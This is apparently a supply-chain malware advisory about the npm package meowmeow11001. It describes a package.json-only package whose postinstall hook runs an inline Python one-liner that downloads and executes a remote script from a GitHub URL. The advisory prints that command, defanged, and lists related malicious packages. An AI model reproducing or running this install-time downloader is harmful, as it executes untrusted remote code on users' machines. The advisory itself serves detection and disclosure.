LWA-2026-3958 confirmed malware
meowmeow11001@1.0.0
Malicious code in meowmeow11001 (npm)
T1195.002 · Compromise Software Supply ChainT1059.006 · PythonT1105 · Ingress Tool Transfer
Analysis
A bare delivery vehicle (package.json only, ~306 bytes, no readme or license) whose postinstall hook runs python3 -c "import urllib.request,os; exec(urllib.request.urlopen('hxxps://raw[.]githubusercontent[.]com/ganjanuss3521/meowww/refs/heads/main/meow[.]py').read())" — fetching and executing arbitrary Python from a GitHub-hosted URL at install time. A classic lifecycle-downloader whose second-stage payload likely handles token theft or persistence.
- analyzed by
- Leitwacht
- first seen
- Jun 10, 2026, 03:44 PM
- analyzed
- Jun 10, 2026, 03:45 PM
Related advisories
- @ethers-js/contracts@6.9.0
- n8n-nodes-devops-utils@1.0.0
- txs-runner-lib@1.0.1
- txs-random-lib@1.0.1
- txs-builder@1.0.6
- node-fetch-utils@1.2.1
- anthropic-claude-latest@4.7.1
- txs-data@1.0.1
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.